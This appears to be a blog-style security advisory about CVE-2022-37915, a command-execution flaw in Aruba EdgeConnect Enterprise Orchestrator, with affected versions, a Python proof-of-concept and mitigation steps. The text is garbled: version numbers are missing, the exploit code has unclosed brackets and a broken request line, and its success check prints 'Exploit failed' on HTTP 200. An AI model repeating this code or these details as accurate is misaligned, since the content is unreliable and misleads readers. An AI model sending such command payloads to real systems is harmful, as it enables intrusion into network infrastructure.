Recently, a serious vulnerability (CVE-2022-37915) was discovered in the web-based management interface of Aruba EdgeConnect Enterprise Orchestrator, a comprehensive network orchestration solution widely used for network automation and control. If successfully exploited, this vulnerability could potentially enable an unauthenticated remote attacker to execute arbitrary commands on the underlying host operating system, leading to complete system compromise.

Affected Versions

This vulnerability only affects the Aruba EdgeConnect Enterprise Orchestration version 9.1.x branch. The systems at risk include any 9.1.x Orchestrator instantiated as a new machine with a release prior to Orchestrators that have been upgraded to 9.1.x are not affected.

Exploit Details:
The vulnerability lies in the improper implementation of authorization controls within the web-based management interface of Aruba EdgeConnect Enterprise Orchestrator. A remote attacker can exploit this flaw by sending a crafted HTTP request to the targeted system that contains malicious command payloads.

As a result, the attacker can execute arbitrary commands on the underlying host operating system without authentication, potentially leading to unauthorized access to sensitive information, manipulation of configuration settings, or even a complete system compromise.

Code Snippet

The following code snippet demonstrates a proof-of-concept exploit that illustrates the vulnerability:

import requests

target = 'http://[target_ip]/';
cmd = '/bin/ls'

# Construct the malicious request
exploit_payload = {
   'type': 'exec',
   'cmd': cmd

headers = {
   'User-Agent': 'Mozilla/5.'

# Send the exploit payload to the target
response =, json=exploit_payload, headers=headers)

# Print the result of command execution
if response.status_code == 200:
   print('Exploit failed')

Please note that this proof-of-concept is for educational purposes only and should not be utilized for malicious activity.

Original References

The official CVE identifier for this vulnerability is CVE-2022-37915. More information about this vulnerability can be found in the official advisory published by Aruba Networks:

- Aruba Security Advisory

Mitigation and Remediation

To protect your Aruba EdgeConnect Enterprise Orchestration systems from this vulnerability, it is strongly recommended to:

Upgrade your affected systems to version or later.

2. Restrict access to the web-based management interface by limiting the source IP addresses that can reach the interface.


This vulnerability highlights the importance of regularly updating your network infrastructure and keeping a vigilant eye on the latest security advisories and updates. By upgrading your systems to the most recent versions and implementing proper security measures, you can greatly reduce the risk of unauthenticated remote command execution and protect your organization's network infrastructure.


Published on: 10/28/2022 02:15:00 UTC
Last modified on: 11/01/2022 14:43:00 UTC